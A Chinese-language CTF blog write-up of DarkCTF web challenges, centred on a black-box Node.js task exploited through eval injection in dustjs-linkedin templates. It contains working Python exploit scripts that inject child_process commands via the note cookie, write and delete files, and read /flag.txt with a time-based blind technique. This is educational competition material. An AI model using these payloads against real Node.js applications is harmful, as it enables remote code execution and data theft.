byc_404's blog

Do not go gentle into that good night

好久没发新文章了。正好国庆就要到了,加上还有巅峰极客跟国赛要打。所以周五晚上练手了DarkCTF的题目,稍微花了几小时ak掉当时放出的web。其中大部分都比较简单,其中一道拿了二血的nodejs题目有点意思打算稍微记录下。

Source

给了源码跟网页,主体上就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
if (strlen($web) < 4){
if ($web > 10000){
echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
<p>darkCTF{}</p></div>');
} else {
echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
<p>Ohhhhh!!! Very Close </p></div>');
}
} else {
echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
<p>Nice!!! Near But Far</p></div>');
}
} else {
echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
<p>Ahhhhh!!! Try Not Easy</p></div>');
}
?>

取UserAgent作为参数,判断了字符串长度与数值大小。简单使用科学计数法9E9即可绕过

Apache Logs

给了个zip然后让你从里面的log文件里找flag.简单提取出其中String.fromCharCode部分放到浏览器console里转一下即可。不过提交时要用darkCTF而不是DarkCTF

So_Simple

开始没啥头绪。后来发现提示了传参id.于是很简单就能发现是个sql注入。甚至基本上就是sqli-labs的第一关。union注入从users表中的password里找到某个flag.

Simple_SQL

直接提示传参id.
普通布尔盲注。没啥说的。

Dusty Notes


这题花了一些时间。不过做出来时拿了二血还是挺舒服的。看到Defenit是一血不知道是不是又被posix师傅秒掉了。(posix nodejs 永远的神)

首先题目是黑盒测试的。这点对于一个nodejs题目来说增加了不少难度。如果是我出这题可能就直接给源码了。但是做完后我感觉这种设计还是很贴近现实的。也给了我一定程度上黑盒测nodejs的手段。

首先题目大致实现了一个note功能。可以通过addNotes路由传参message。通过deleteNote/{id}来删除note.

不过简单看了下cookie发现内容可以由cookie控制

1
2
//note
j:[{"id":1,"body":"Hack this"},{"id":2,"body":"1"}]

到这一步为止我有几种思路
1.nodejs反序列化。
2.原型链污染
3.???

首先想到nodejs反序列化是因为以前NahamconCTF解出的一道node题。也是黑盒。然后只有20多解。但是我当时是抱着试一试的心态尝试了下反序列化居然成功拿到shell.后来发现,之所以会有这种想法就是因为:
数据为json串。数据由cookie控制
序列化输出的结果就是json串,所以黑盒下尝试node-serialize未尝不可。当然本题自然是失败了。因此方法也不再多说。

第二种想法自然是因为nodejs中想要出现原型链污染实在是太容易了。不过有一说一一道以原型链污染为漏洞的ctf题使用公共靶机是非常不妥的,并且一般是给出源码进行测试。加上此处并没有什么显眼的模板使用比如ejs。因此是原型链污染的可能性也不大。

此时基本上常规的思路已经走不通了。但是我简单fuzz了一下

1
2
addNotes?note[]=1
addNotes?note[toString]=1

发现它是没有做只能传字符串的限制的。一般来说,不对参数类型做限制时,我们可以传入数组或对象。因此在传入对象时这里会触发报错。
然后重点就来了,触发的报错内容如下

1
{"stack":"TypeError: Cannot convert object to primitive value\n    at Tap.head (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:121:25)\n    at Tap.go (/app/node_modules/dustjs-linkedin/lib/dust.js:812:19)\n    at Chunk.write (/app/node_modules/dustjs-linkedin/lib/dust.js:556:19)\n    at Chunk.reference (/app/node_modules/dustjs-linkedin/lib/dust.js:611:19)\n    at body_4 (evalmachine.<anonymous>:1:1634)\n    at Chunk.render (/app/node_modules/dustjs-linkedin/lib/dust.js:598:12)\n    at Object.tap (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:123:8)\n    at Object.if (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:213:27)\n    at Chunk.helper (/app/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n    at body_1 (evalmachine.<anonymous>:1:972)\n    at Chunk.section (/app/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n    at body_0 (evalmachine.<anonymous>:1:847)\n    at /app/node_modules/dustjs-linkedin/lib/dust.js:122:11\n    at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Cannot convert object to primitive value"}

爆出了当前路径/app以及一个依赖dustjs-linkedin/lib/dust.js
(这里多嘴一句,这里一开始defenit拿到一血后长达4个多小时都没有其他解,并且当时触发报错时题目只会爆500而不是像上面这样打印报错traceback,后来改了题才有了这个报错栈)

看到这个dust加上题目名中的dust,去搜索一波的话不难发现存在一个漏洞
并且有文章在实战中遇到解决
https://artsploit.blogspot.com/2016/08/pprce2.html

简单说就是,dust的模板会进入一个if语句执行eval。但是如果我们直接传入参数时它会把敏感字符做处理,而如果传入数组时则不会处理敏感字符,即可rce。

再多嘴一句,到确定是dust的洞这一步我本来以为弹个shell就完事了。结果测了好久发现不知道是不通外网还是没能执行。差点以为找错洞了。直到他改了题才发现dust依赖确认没找错洞,专心测下去的。
当然没有报错我们也有几种办法确认此处存在dust的eval漏洞
比如

1
addNotes?message=aaa%5C

会导致

1
eval("'xxx\' == 'desktop'");

触发报错
再比如

1
addNotes?message[]=&message[]=y%27-console.log(7)

也会报错。因为我们此时引号没有被转义直接送入eval.触发报错。
所以,如果有着良好的FUZZ手段,黑盒也可以fuzz出问题并确认依赖错误。

最后,我们使用eval语句命令执行。当然因为不通外网没有回显所以非常狗。我最后选择把结果写静态文件。并且这里静态目录是猜了一手public。所以可以直接写/proc/self/cwd/public/css/style.css或者在爆出是app目录后直接写/app/public/css
exp

1
2
3
4
5
6
7
8
9
10
url="http://dusty.darkarmy.xyz/"
data="""j:[{"id":1,"body": ["1","1'-console.log(require('child_process').exec('cat /flag.txt > /app/public/css/style.css').toString());//"]}]"""
print(quote(data))
r=requests.get(url,cookies={'note':quote(data)})
print(r.text)
r=requests.get(url+'css/style.css')
print(r.text)
data="""j:[{"id":1,"body": ["1","1'-console.log(require('child_process').exec('rm /app/public/css/style.css').toString());//"]}]"""
print(quote(data))
r=requests.get(url,cookies={'note':quote(data)})

cookie可控所有内容上面说过了。只不过测试时因为路由好用就没控cookie.

做出来后问了下出题人果然不是预期。当然这里我不太确定预期是啥,不过差的应该不多。当然聊完后出题人顺手修了下写文件的权限 :)
然后就是这种做法我自己也不是很喜欢。自己出过的nodejs题目在可以rce的情况下我都把工作目录按root权限设置。就是为了防止写文件。不过一般会配置了防止时间盲注,所以都会给出rce的回显

所以这里猜一手本题预期的方法是time-based-rce:
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import time
import requests
from urllib.parse import quote,unquote
import string

url="http://dusty.darkarmy.xyz/"

def js_exp(str1):
x=[]
str1 = str1.strip(' ')
for ch in str1:
x.append(str(ord(ch)))
t=','.join(x)
result='eval(String.fromCharCode('+t+'))'
return result
flag=""
for num in range(1,50):
print(num)
for i in string.printable:
cmd = """require('child_process').execSync(`if [ $(cat /flag.txt | cut -c {}) = '{}' ];then sleep 3;fi`)""".format(num,i)
payload = js_exp(cmd)
data = """j:[{"id":1,"body": ["1","1'-""" + payload + """;//"]}]"""
t = time.time()
r = requests.get(url, cookies={'note': quote(data)})
if time.time() - t > 3:
flag += i
print(flag)
break

flag:
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

因为一些格式原因。我把payload用eval转化了一下,这样看起来更舒服一些.并且不用担心奇奇怪怪的引号问题 :)

不过题目我觉得很有启发性,主要是给了我一些面对nodejs黑盒处理的手段。那就是利用其容易报错的特性进行FUZZ,得到目录这样的关键信息,或者是依赖的关键信息。同时一定程度上可以推测语句,甚至不需要知道依赖漏洞的细节就能直接上手。

最后道个歉,因为把flag写到css里后自己就把css给删了。导致后面题目一直没有style.css……

summary

后面的题在打巅峰极客摸鱼时看了看。做了个入门题跟一个User-Agent的报错注入。总之难度整体很入门就没继续看了。
没啥说的。巅峰极客体验了一把带飞的感觉。国赛就要靠自己动手丰衣足食了。加油吧。

最近忙着复习去了。等到中午概统的复习课结束了才有时间完整看下题。除开一道web-pwn,剩下两个php都是常规考点,就是脑洞跟环境真心恶心人。学弟们也轻松解决,应该不需要什么记录。我自己做了下zblog这道java题,简单记录下。

Faaty 是htb这周刚退役的靶机。本来一周前自己打算下手试试的,不过做了一会发现因为即将退役就干脆搁置等ippsec出视频自己再做233. 不过整体来说这台靶机真的非常有趣。并且涉及到大量的java知识。在这一次实际操作中自己才真正体会到前段时间巩固java开发的基础知识有多么重要。因此这里记录下具体操作的流程,将学到的新知识巩固一下。

这段时间因为一些原因老是有点自我纠结,很大程度上是因为对所计划学习的内容无法定夺的原因。上周因为hw所以错过了wmctf,赛后去看题发现基本都是php之类的,都不是很想看。相对感兴趣的框架的链子自己也没找全。感觉菜的不行,相比几个月前审一些比赛中的框架手生了很多。